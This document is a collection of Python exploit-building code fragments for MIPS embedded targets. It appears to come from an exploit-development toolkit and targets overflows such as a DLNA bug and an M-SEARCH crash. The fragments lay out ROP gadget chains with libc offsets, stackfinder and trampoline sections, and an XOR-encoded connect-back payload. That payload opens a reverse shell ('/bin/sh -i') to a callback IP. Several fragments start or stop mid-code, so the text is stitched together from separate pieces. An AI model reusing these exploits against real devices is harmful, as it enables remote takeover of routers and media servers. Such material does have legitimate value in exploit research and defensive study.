def build_overflow(logger=None): badchars=["\x00","\x20","\r","\n","\""] libc_base_address=0x2aaf8000 reg_s0=1007 reg_s1=1011 reg_s2=1015 reg_s3=1019 reg_s4=1023 reg_s5=1027 reg_s6=1031 reg_s7=1035 reg_pc=1043 # First rop gadget loads stack data into $ra # that correlates to this offset in the exploit string reg_new_ra=1075 # stack returns correlates # to this offset into the exploit string. stack_return=1351 SC=SectionCreator(LittleEndian,base_address=libc_base_address,badchars=badchars,logger=logger) ########################################################################### # Stages a 2 sec arg to sleep() in $a0 # Stages 0x20+var4($sp) in $ra; return address for sleep() # Jumps to $s0 ########################################################################### SC.gadget_section(reg_pc,0x0004FA3C, description="stage arg to sleep in $a0, stage return from sleep in $ra,jalr $s0") ########################################################################### # Address of sleep() function ########################################################################### SC.gadget_section(reg_s0,0x56bd0,description="Address of sleep()") ########################################################################### # Stackfinder. Load the following: # $s4=$sp+0x5d0+var_5b4 # $s2=$sp+0x5d0+var_428 # $s0=$sp+0x5d0+var_4c0 # Then jalr $s6 ########################################################################### SC.gadget_section(reg_new_ra,0x000255FC, description="Sleep() returns here.") ########################################################################### # Jalr to $s0, which should point to the stack. ########################################################################### SC.gadget_section(reg_s6,0x000159D8,description="jalr to $s0") ########################################################################### # Connect back payload phones home to 192.168.0.10:8080 ########################################################################### payload=ConnectbackPayload(CALLBACK_IP,LittleEndian) ########################################################################### # Encode the connect-back payload with an XOR encoder # to sanitize out null bytes. ########################################################################### encoded_payload=MipsXorEncoder(payload,key=0xed27926d,badchars=badchars,logger=logger) SC.string_section(1351,encoded_payload.shellcode, description="XOR Encoded connect-back payload. connects back to 192.168.0.10:8080.") # Build the exploit buffer buf=OverflowBuffer(LittleEndian,2048,overflow_sections=SC.section_list,logger=logger) return buf
def __init__(self, length, connectback_ip, port=8080, logger=None): cls = self.__class__ if not logger: logger = Logging() self.logger = logger logger.LOG_INFO("Building buffer overflow.") ra = 211 s8 = 207 fp = s8 s7 = 203 s6 = 199 s5 = 195 s4 = 191 s3 = 187 s2 = 183 s1 = 179 s0 = 175 SC = SectionCreator(LittleEndian, badchars=cls.BADCHARS, base_address=cls.LIBC_BASE) logger.LOG_INFO("Assembling ROP chain.") # logger.LOG_INFO("Adding 0x%08x at %d." % (0x4A558,375)) #This needs to be a pointer that can be dereferenced to another pointer, #which can be incremented to a memory location. #This is a pointer in the .sdata section that points to itself, and is #followed by null bytes and is writable. SC.gadget_section( 375, 0x4A558, description= "Placeholder for passed_args[0]. Passed to strcatf() at 0x0041635C.", base_address=cls.LIBAVUTIL_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x0005367A,151)) #This needs to be any readable memory location. #This points to the string "November" in libc's read-only data section. SC.gadget_section( 151, 0x0005367A, description= "Placeholder for for 'duration' stack hazard. Passed to strcatf() in $a2 at 0x00416EFC.", base_address=cls.LIBC_BASE) # SC.gadget_section(151,0x126DB0, # description="Placeholder for for 'duration' stack hazard. Passed to strcatf() in $a2 at 0x00416EFC.", # base_address=cls.LIBAVCODEC_BASE) # # SC.gadget_section(159,0x126db4, # description="Pointer to nul bytes.Placeholder for argument to vsnprintf()", # base_address=cls.LIBAVCODEC_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x0005367A,103)) #Pointer to "November" in libc SC.gadget_section( 103, 0x0005367A, description= "Placeholder for 'mime' stack hazard. Passed to strcatf() in $a2 at 0x0041644C", base_address=cls.LIBC_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x0005367A,163)) #Pointer to "November" in libc SC.gadget_section( 163, 0x0005367A, description= "Placeholder from 'detailID stack hazard. Passed to strcatf() in var_110 at 0x41644c", base_address=cls.LIBC_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x1ca490b,391)) SC.gadget_section( 391, 0x1ca490b, description= ("Arbitrary number that gets transformed into a pointer that can be dereferenced.\n" + "Ultimately Passed to strcatf() in var_118 at 0x41644c"), base_address=0x0) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x07EC80,363)) SC.gadget_section( 363, 0x07EC80, description= "Placeholder for stack hazard. Pointer to this address passed to strcatf() at 0x415064.", base_address=cls.LIBAVFORMAT_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0xFFF80BE0,367)) SC.gadget_section( 367, 0xFFF80BE0, description= "Placeholder, than when added to the libavformat's .sdata pointer, will result in a pointer into libsqlite's data segment.", base_address=0x0) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x1D95C,ra)) # .text:0001D95C move $t9, $s1 # .text:0001D960 lw $ra, 0x28+var_4($sp) # .text:0001D964 lw $s2, 0x28+var_8($sp) # .text:0001D968 lw $s1, 0x28+var_C($sp) # .text:0001D96C lw $s0, 0x28+var_10($sp) # .text:0001D970 jr $t9 # .text:0001D974 addiu $sp, 0x28 SC.gadget_section( ra, 0x1D95C, description= "[ra] Stage stack data into $ra for return from sleep(), jr $s1.", base_address=cls.LIBC_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x43884,s1)) # .text:00043884 move $t9, $s0 # .text:00043888 li $a0, 2 # .text:0004388C lw $s0, 0x20+var_8($sp) # .text:00043890 li $a1, 1 # .text:00043894 move $a2, $zero # .text:00043898 jr $t9 # .text:0004389C addiu $sp, 0x20 SC.gadget_section( s1, 0x43884, description="[s1] Stage 2 sec arg to sleep(), jr $s0") #new register offsets (As a result #of $ra gadget, but before $s1 gadget is loaded by $ra gadget): ra = 251 s2 = 247 s1 = 243 s0 = 239 # logger.LOG_INFO("Adding 0x%08x at %d." % (0x000506C0,s0)) #Stage sleep() in $s0 SC.gadget_section( s0, 0x000506C0, description= "[s0] Address of sleep(). Next gadget jumps to this address.") # logger.LOG_INFO("Adding 0x%08x at %d." % (0x000506C0,s2)) SC.gadget_section( s2, 0x000506C0, description= "[s2] A pointer that can be dereferenced with out crashing the next gadget." ) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x427A8,ra)) # .text:000427A8 addiu $s0, $sp, 0xE0+var_C0 # .text:000427AC lw $a0, 0($s2) # .text:000427B0 move $a1, $s1 # .text:000427B4 move $a2, $s4 # .text:000427B8 move $t9, $s6 # .text:000427BC jalr $t9 # .text:000427C0 move $a3, $s0 SC.gadget_section( ra, 0x427A8, description= "[ra] Stackfinder. stage 0xE0+var_C0+$sp in $s0, jalr $s6.") # logger.LOG_INFO("Adding 0x%08x at %d." % (0x10938,s6)) # (Start one instruction early because 3c is a bad byte.) # .text:00010938 la $t9, free # .text:0001093C move $t9, $s0 # .text:00010940 jalr $t9 # .text:00010944 move $a0, $s2 SC.gadget_section(s6, 0x10938, description="[s6] Stackjumper. jalr $s0.") logger.LOG_INFO("Adding trampoline 1 at offset 319.") trampoline_1 = Trampoline(LittleEndian, -310) SC.string_section( 319, trampoline_1.shellcode, description="Trampoline back to beginning of buffer.") logger.LOG_INFO("Adding trampoline 2 at offset 11.") trampoline_2 = Trampoline(LittleEndian, 1028) SC.string_section(11, trampoline_2.shellcode, description="Trampoline forward to trampoline 3.") #trampoline_3=Trampoline(LittleEndian,-618) #SC.string_section(1043,trampoline_3.shellcode, # description="Trampoline back to payload.") logger.LOG_INFO("Generating connect-back payload.") payload = ConnectbackPayload(connectback_ip, LittleEndian, port=port) try: logger.LOG_INFO("Attempting to XOR encode payload.") encoded_payload = MipsXorEncoder(payload, logger=logger, badchars=cls.BADCHARS) except EncoderException as e: logger.LOG_WARN("%s" % str(e)) raise DLNAOverflowException("Payload generation failed.") self.logger.LOG_DEBUG("Length of encoded shellcode: %d" % len(encoded_payload.shellcode)) logger.LOG_INFO("Adding encoded payload at offset 1043.") #offset 427 with 3trampolines. 1043 with only 2 trampolines SC.string_section( 1043, encoded_payload.shellcode, description="XOR encoded connect-back shell to ip:port %s:%d" % (connectback_ip, port)) self.buf = OverflowBuffer(LittleEndian, length, SC.section_list) logger.LOG_INFO("Finished generating overflow string.")
0x328F4, description="add offset from $sp into s5, jalr $s6") ################################################################################ #jump into stack. jalr $s5. This needs to get loaded into the stackfinder's jalr reg ################################################################################ section=SC.gadget_section(192, 0x1B1F4, description="Jump into stack via reg $s5. make sure the stackfinder jumps to this gadget.") connectback_server=ConnectbackServer(CALLBACK_IP,port=8080,startcmd="/bin/sh -i",connectback_shell=True) payload=ConnectbackPayload(CALLBACK_IP,BigEndian,port=8080) encoded_payload=MipsXorEncoder(payload,badchars=['\0']) SC.string_section(268,encoded_payload.shellcode, description="connect back payload") buffer_overflow_string=OverflowBuffer(BigEndian,576,SC.section_list) pretty_msearch=msearch_crash.MsearchCrash(buffer_overflow_string.pretty_string()) print "\n\n"+str(pretty_msearch)+"\n\n" msearch_string=msearch_crash.MsearchCrash(buffer_overflow_string) pid=None
buf.add_pattern(s6 - buf.len()) #stackjumber. jalr $s0 buf.add_rop_gadget(0x1ffbc, description="[$s6] stackjumper") buf.add_pattern(ra_2 - buf.len()) #Sleep arg 2 into $a0, stack data into $ra, then jalr $s0 buf.add_rop_gadget( 0x43880, description="[$a0] Set up 2 sec arg to sleep(), then jalr $s1") buf.add_pattern(sleep_return - buf.len()) #stackfinder. add 0xe0+var_c0 + $sp into $s0, jalr $s6 buf.add_rop_gadget(0x427a4, description="stackfinder.") payload = ConnectbackPayload(CALLBACK_IP, LittleEndian) encoded_payload = MipsXorEncoder(payload, badchars=badchars) buf.add_pattern(shellcode_return - buf.len()) buf.add_string(encoded_payload.shellcode, description="encoded connect back payload") if len(sys.argv) == 2: search_string = sys.argv[1] if search_string.startswith("0x"): search_value = int(search_string, 16) else: search_value = search_string offset = buf.find_offset(search_value) if (offset < 0): print "Couldn't find string %s in the overflow buffer." % search_string else: